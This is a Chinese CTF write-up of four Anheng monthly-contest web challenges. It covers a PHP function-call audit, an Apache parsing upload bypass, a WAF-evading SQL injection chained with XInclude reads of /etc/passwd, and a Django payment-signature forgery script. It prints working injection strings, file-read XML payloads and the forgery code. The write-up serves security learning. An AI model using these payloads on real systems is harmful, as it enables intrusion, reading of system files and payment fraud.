安恆10月賽Web題目復現
前言
10月賽的時候去打那個瓜皮的領航杯(體驗極差),還是回來復現安恆的題目比較好,質量還是有保證的,學到很多東西
正文
easy audit
這個題目確實有點腦洞。。運用了兩個php函式一個是get_defined_functions
這個函式是用於返回所有已定義函式的陣列,而另外一個則是get_defined_vars
這個函式是返回由所有已定義變數所組成的陣列
可以檢視此網址:https://www.jb51.net/article/42890.htm
右鍵檢視原始碼發現存在index.php?func1
,那麼這個引數究竟有什麼作用可以先嚐試一下,上手就來一個phpinfo,發現直接有回顯
猜測是直接執行函式之類的功能,然後運用get_defined_functions
<?php
//include 'real_flag.php';
function jam_source_ctf_flag(){
echo file_get_contents('flag.php');
}
class jam_flag{
public $a;
function __construct(){
$this->a = isset($_GET['a'])?$_GET['a']:'123';
}
function gen_str($m=6){
$str = '';
$str_list = 'abcdefghijklmnopqrstuvwxyz';
for($i=0;$i<$m;$i++){
$str .= $str_list[rand(0,strlen($str_list)-1)];
}
return $str;
}
function GiveYouTheFlag(){
include 'real_flag.php';
$secret = $this->gen_str();
//echo $secret;
if($secret === $this->a){
echo $real_flag;//echo $flag
}
}
function __invoke(){
echo 'want to use me?';
$this->GiveYouTheFlag();
}
}
echo rand().'<br>';
$_flag = new jam_flag;
if(isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'){
include 'real_flag.php';
$_flag->GiveYouTheFlag();
}
?>
這段程式碼大致的意思就是新建了一個類,然後呼叫類裡面的函式把flag給輸出來
這裡我們用到get_defined_vars
這個函式,單獨使用是不能輸出flag的,可能到這裡會存在疑問輸出flag的函式應該還得滿足$secret === $this->a
而這個secret又是隨機生成的,那要怎麼辦,其實不需要,這裡的flag是屬於real_flag.php
裡面的只要我們把頁面包含進來我們就可以把該頁面所有變數值都給打印出來了,所以關鍵點還得滿足這個條件
isset($_POST['flag']) && $_POST['flag'] === 'I want the flag'
即可包含real_flag.php,這應該是出題人故意留的不然也輸出不了flag,23333
發包得到flag
手速要快
這個題目進去之後要登入,右鍵檢視原始碼找找http頭部啥的發現裡面有一個password
,直接複製提交就可以登陸上去,登陸以後是一個upload頁面
然後嘗試上傳一個小馬,發現不行,然後嘗試改一下字尾發現這應該是黑名單過濾的,因為嘗試了php2,php3.php4
都可以上傳,但是卻不能解析把他們都當做文字解析了
但是可以發現伺服器版本是Apache/2.4.6
,這裡可能存在解析漏洞,把字尾名改為Apache不認識的就可以了
flag直接在上層目錄flag{698539765730b69026796420b9201e03}
CoolCms
原來這個題一葉飄零學長出的額2333
這個網站兩個地方可能存在漏洞一個就是article.php
頁面存在SQL注入,因為這裡面id引數暴露了出來,另外就是在write.php
頁面上可能存在xxe檔案讀取
現在可能存在的注入頁面輸入3的時候就會出現table flag????
,再fuzz測試一下發現or,update,delete,
以及逗號等符號都被過濾了
我們可以從fuzz的結果發現這裡面的union
還有select
都可以單獨使用但一旦他們兩個一起使用的時候,就會被waf掉,猜測後臺寫的正則是這樣寫的|union select|
,我們就可以使用%0b
將其繞過,也就是union%0bselect
但是逗號又被過濾了,這個時候就可以用join
去繞過
用join
實現同樣的效果
or
被過濾了,information_schema
沒法使用,雖然題目這裡提示了我們表名為flag,但是欄位名卻無從知曉,這時候就可以利用聯合填充來代替掉欄位名和表名
可以發現現在欄位名變成了1,2,3,所以要查詢裡面的內容可以用用下面的語句
select * from users where id=-1 union select 1,(select i.2 from (select 1,2,3 union select * from users)i limit 1,1),3;
這樣即可無需欄位名來查詢資料,然後通過limit語句一條條查即可,這裡是因為逗號被過濾了所以我們用offset
來替代
因此先測試一下哪一列有回顯
-1' union%0bselect * from (select 1)x join (select 2)y join (select 3)k join (select 4)l--+
發現第二列跟第四列有回顯
接著直接用上面的套路讀出flag的路徑-1' union%0bselect * from (select 1)x join (select 2)y join (select 3)k join (select i.4 from (select * from (select 1)a join (select 2)b join (select 3)c join (select 4)d union%0bselect * from flag)i limit 1 offset 1)l-- k
得到路徑是/home/fff123aggg
開始用xxe讀取檔案,先試一下/etc/passwd
,成功回顯
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///etc/passwd" parse="text"/>
</root>
<?xml version="1.0" ?>
<root xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include href="file:///home/fff123aggg" parse="text"/>
</root>
得到flag{316f87681354a715d6134c4b8166aa73}
shop
這個題是個程式碼審計的題目,先把原始碼給down下來
開啟這個網站發現有登陸註冊功能,以及購買flag的功能,但是這裡面要想得到真正的flag卻需要888
積分才可以購買,這個時候就感覺應該是越權購買flag的漏洞了。。。。
發現原始碼裡面有資料庫檔案開啟看一下,發現是存在管理員的,並且id是16
,這個東西后期有用,而且他有30000
積分,夠買很多flag了,
這裡面學到了該如何審計python的程式碼,感覺跟php套路一樣,還是得先去看一下設定檔案對應就是這裡面的setting
檔案,
發現裡面有一個空的real flag
只是出題人把他給刪掉了,這裡面的重要資訊就是這個secret.key是用於構造簽名的
其實這個secret.key
已經給了的,也存在於原始碼裡面
然後重點看urls.py.
以及views.py
,如果views.py
不存在urls.py
裡面的函式說明是呼叫了框架自身呼叫的函式,對於這個題而言沒必要去檢視框架本身的程式碼
這段程式碼在註冊方面本身是沒有任何問題的,所以得看其他方面
再檢視shop裡面的urls.py
以及views.py
可以發現裡面存在購買對於身份的驗證操作
@login_required
def payOrder(request, orderid):
o = get_object_or_404(Order, id=orderid, user=request.user, status=Order.ONGOING)
form = {
'order_id': o.id,
'buyer_id': o.user.id,
'good_id': o.good.id,
'buyer_point': o.user.profile.point,
'good_price': o.good.price,
'order_create_time': o.create_time.timestamp()
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
#print(sign)
return render(request, 'payment/confirm.html', {'form': form, 'sign': sign})
這段程式碼最後是跳到payment
的路由下,我們可以繼續追蹤一下,發現payment
下就一個check
函式,關鍵的函式就在views.py
裡面,這裡對交易做了詳細的校驗
def checkPayment(request):
# print(request.body)
ret = {'result': '未知錯誤', 'status': 'danger'}
sign = request.GET.get('signature', '')
if md5(RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + request.body).hexdigest() == sign:
o = get_object_or_404(Order, id=request.POST.get('order_id'))
g = get_object_or_404(Good, id=request.POST.get('good_id'))
u = get_object_or_404(User, id=request.POST.get('buyer_id'))
# 檢查訂單是否為待支付狀態
if o.status != Order.ONGOING:
ret['result'] = f'訂單 {o.id} 狀態異常,可能已完成或已取消'
# 檢查商品是否可購買
elif g.available != True or g.amount <= 0:
ret['result'] = f'商品 {g.id} 暫時不可購買,可能庫存不足'
# 檢查使用者可用積分是否足夠
elif u.profile.point < g.price:
ret['result'] = f'使用者 {u.username} 可用積分不足,無法完成支付'
else:
if u.is_staff != True:
u.profile.point -= g.price
u.save()
g.amount -= 1
if g.name == 'FLAG':
o.message = REAL_FLAG
else:
o.message = f'fake_flag{{{md5(urandom(32)).hexdigest()}}}<br>(購買“FLAG”才能獲得真正的 flag)'
if g.amount <= randint(0, 100):
g.amount += randint(100, 200)
g.save()
o.status = Order.FINISHED
o.save()
ret['result'] = f'訂單 {o.id} 支付成功!'
ret['status'] = 'success'
else:
ret['result'] = '簽名不正確,資料可能被篡改!'
return render(request, 'payment/result.html', ret)
商品從三方面進行了校驗
1.檢查訂單是否為待支付狀態
2.檢查商品是否可購買
3.檢查使用者可用積分是否足夠
但是這三方面只是單單對商品方做了校驗(自檢驗),那購買者呢?不存在對其的任何校驗,也就是沒有做好雙向的校驗,這也說明我們可以從偽造購買者的方面去入手,讓別人付錢23333
根據它裡面的程式碼去構造signature就好了
from hashlib import md5
RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE = 'zhinianyuxin'
form = {
'order_id': '148',
'buyer_id': '16', #admin賬號id,從資料庫得知
'good_id': '38', # 商品id也可從資料庫得知
'buyer_point': '250',
'good_price': '50',
'order_create_time': '1541706305.953427' #時間戳支付訂單上有
}
str2sign = RANDOM_SECRET_KEY_FOR_PAYMENT_SIGNATURE + '&'.join([f'{i}={form[i]}' for i in form]).encode('utf-8')
#print(str2sign)
sign = md5(str2sign).hexdigest()
print(sign)
小結
這次月賽學到了幾個點總結一下,第一就是學到PHP幾個偏門小函式,第二就是一葉飄零學長出的題目的一波SQL注入的騷操作以及xxe檔案讀取的操作,第三就是執念於心學長出的邏輯漏洞的程式碼審計,如何去審計Django框架的程式碼,怎麼去發現無雙向檢驗的logic漏洞,複習去了2333